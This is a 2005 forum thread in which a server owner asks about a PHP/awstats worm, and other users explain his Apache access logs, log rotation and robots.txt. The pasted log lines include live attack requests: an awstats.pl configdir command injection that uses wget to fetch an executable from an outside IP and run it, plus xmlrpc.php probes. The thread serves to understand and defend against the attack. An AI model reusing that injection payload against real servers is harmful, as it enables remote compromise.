PHP 'virus'

gordonmarkus · Post by **gordonmarkus** » Thu Nov 17, 2005 5:41 pm

Hi,

In this week's show there was a reference to the php 'virus' that is doing the rounds and taking advantage of people running php on their webservers.

Does anyone on here have any more information about this problem or know where I might be able to find some?

I run an apache web server with mysql and php so that it can host the same type of forum as this one, and I remember when setting it up that there was something in php.ini or another php config file that needed changing to allow globals or something of the sort, and that seemed to be the vulnerability that this 'virus' is looking for. Unfortunately being fairly new to this, I was fast enough to grasp it when it being discussed in the show (even listening a few times!!)

I'd be interested to know if there are any changes that I need to make, or if there are changes that an users here have made to protect their servers.

Thanks in advance for your comments.

-Gordon.

Post by **dann** » Thu Nov 17, 2005 8:45 pm

This is the top google hit:

http://vil.nai.com/vil/content/v_136821.htm

Symantec's is a bit more informative

http://securityresponse.symantec.com/av ... lupii.html

Both of these seem to target specific applications. What is interesting is that these pages have little in the way of removal information.

I do believe if you have kept up with your distro's patches/updates and kept up with updates to any software you have installed, you should be pretty safe.

http://smh.com.au/articles/2005/11/08/1 ... click=true

And it should be no surprise that this is the best information I have found so far:

http://isc.sans.org/diary.php?storyid=823

gordonmarkus · Post by **gordonmarkus** » Fri Nov 18, 2005 8:41 am

Hi,

Thanks for the links - I think that I will have to take my server out of service for a much needed upgrade after reading those links. Current version of php is 4.4.1 and I'm still running 4.2.2.17. I seem to remember having a complete nightmare at the time of install, by trying to get versions of apache, php and mysql that would work with each other.

It could be time for a complete server rebuild, and include those packages in the intial build - at least that way I can be sure they will work ok. The box is still running RH9 so it's probably time for an upgrade anyway...

Hopefully the box will be ok until I get the chance to do the upgrade as I have a firewall that only allows http and ftp in.

Thanks again for the advice.

-Gordon.

treehead · Post by **treehead** » Fri Nov 18, 2005 9:40 am

dann wrote:This is the top google hit:

http://vil.nai.com/vil/content/v_136821.htm

Symantec's is a bit more informative

http://securityresponse.symantec.com/av ... lupii.html

Both of these seem to target specific applications. What is interesting is that these pages have little in the way of removal information.

I do believe if you have kept up with your distro's patches/updates and kept up with updates to any software you have installed, you should be pretty safe.

http://smh.com.au/articles/2005/11/08/1 ... click=true

And it should be no surprise that this is the best information I have found so far:

http://isc.sans.org/diary.php?storyid=823

;good info. thanks.

;treehead

Gomer_X · Post by **Gomer_X** » Sat Nov 19, 2005 10:49 am

I just set up apache on my server system to do some play/testing/develpment. Just for fun I opened up port 80 to see if anyone would hit it. Within a day I got hit by a couple of these.

It didn't get anywhere of course, because I don't have PHP installed, but it doesn't seem to be a very sophisticated attack. The attacks came from Windows XP boxes and they started by hitting /cgi-bin/awstats.pl, which I also don't have on my system. Seems to me anyone who is watching their logs would be OK, because everythinng shows up in the logs and no attempt is made to cover tracks.

If this is all the Windows script kiddies have to offer, I'm not scared.

gordonmarkus · Post by **gordonmarkus** » Sat Nov 19, 2005 1:55 pm

Hi,

What should I look for in the logs? - I'll ftp them off right now....

(I take it, it's the access_log that I should be examining?). On another note - should I delete this file every so often, as it's getting pretty large!

Thanks again for your advice?

-Gordon.

Post by **dann** » Sat Nov 19, 2005 2:50 pm

Yes, the access.log file will show this information.

You should rotate your logs on a regular basis. Most distros have a little app called logrotate that will do this automatically.

gordonmarkus · Post by **gordonmarkus** » Sun Nov 20, 2005 5:58 am

Hi,

Please excuse my igonrance, but do entries like this:

200.206.62.67 - - [07/Feb/2005:21:48:13 +0000] "GET /cgi-bin/awstats.pl HTTP/1.0" 404 302

mean that my box is under attack then? There are loads of these - this is the first, back from February, but they continue right up to right now. This one looks to be of particular concern as there is no 'blog' directory on my server:

209.206.228.15 - - [19/Nov/2005:03:18:45 +0000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 303
209.206.228.15 - - [19/Nov/2005:03:18:47 +0000] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 303
209.206.228.15 - - [19/Nov/2005:03:18:48 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 311
209.206.228.15 - - [19/Nov/2005:03:18:49 +0000] "POST /xmlrpc.php HTTP/1.1" 404 295
209.206.228.15 - - [19/Nov/2005:03:18:50 +0000] "POST /blog/xmlrpc.php HTTP/1.1" 404 300
209.206.228.15 - - [19/Nov/2005:03:18:52 +0000] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 307
209.206.228.15 - - [19/Nov/2005:03:18:53 +0000] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 308
209.206.228.15 - - [19/Nov/2005:03:18:54 +0000] "POST /drupal/xmlrpc.php HTTP/1.1" 404 302
209.206.228.15 - - [19/Nov/2005:03:18:55 +0000] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 308
209.206.228.15 - - [19/Nov/2005:03:18:57 +0000] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 305
209.206.228.15 - - [19/Nov/2005:03:18:58 +0000] "POST /xmlrpc.php HTTP/1.1" 404 295
209.206.228.15 - - [19/Nov/2005:03:18:59 +0000] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 302
209.206.228.15 - - [19/Nov/2005:03:19:00 +0000] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 302

The box does sit behind a firewall that only has ports 80 and 21 open.

Also in the logs there are entries like these:

66.249.64.49 - - [19/Nov/2005:09:03:33 +0000] "GET /robots.txt HTTP/1.0" 404 305
66.249.64.49 - - [19/Nov/2005:09:03:33 +0000] "GET / HTTP/1.0" 304 -

Which are a bit of a concern, as far as I know there is no 'robots.txt' file on my server.

Thanks again for all your help. I'll setup that logrotate utility as access log is currently 19Mb!

Regards,

-Gordon.

Post by **dann** » Sun Nov 20, 2005 7:31 pm

The first chunk of hits are the script kiddies trying to take advantage of the php hole. The second grouping of concerns you have, the robots.txt is google looking for that file. I believe the robots.txt contains information pertinent to search engines with regards to what to ignore or use.

Here is what the 304 error means:

If the client has performed a conditional GET request and access is allowed, but the document has not been modified, the server SHOULD respond with this status code. The 304 response MUST NOT contain a message-body, and thus is always terminated by the first empty line after the header fields.

If a 304 response indicates an entity not currently cached, then the cache MUST disregard the response and repeat the request without the conditional.

If a cache uses a received 304 response to update a cache entry, the cache MUST update the entry to reflect any new field values given in the response.

gordonmarkus · Post by **gordonmarkus** » Mon Nov 21, 2005 9:54 am

Hi,

Thanks for the explanation. I think I get it....

Regards,

-Gordon.

Gomer_X · Post by **Gomer_X** » Mon Nov 21, 2005 11:17 am

gordonmarkus wrote: Which are a bit of a concern, as far as I know there is no 'robots.txt' file on my server.

Google for robots.txt. It's useful as you can keep search engines from "finding" things on your server you don't want indexed. It's a pretty simple file with a simple format.

If you've got things on your server that are publicallly accessible that you'd rather not have show up on Google, put them in this file as denied.

Gomer_X · Post by **Gomer_X** » Mon Nov 21, 2005 11:30 am

gordonmarkus wrote: 209.206.228.15 - - [19/Nov/2005:03:18:45 +0000] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 303

This is a request for /awstats/awstats.pl, which is a Perl script. The ?confdir=|echo;echo%20YYY... is a parameter being passed to awstats.pl.

There is a bug in old versions of this script where if you if you send the parameter "confdir=|XXX|", XXX will be executed as a command line command on your server (which is very bad

). This command is trying to wget a program and dump it in your /tmp directory. The fact that your system returned a "404" error means you don't have awstats.pl and are safe.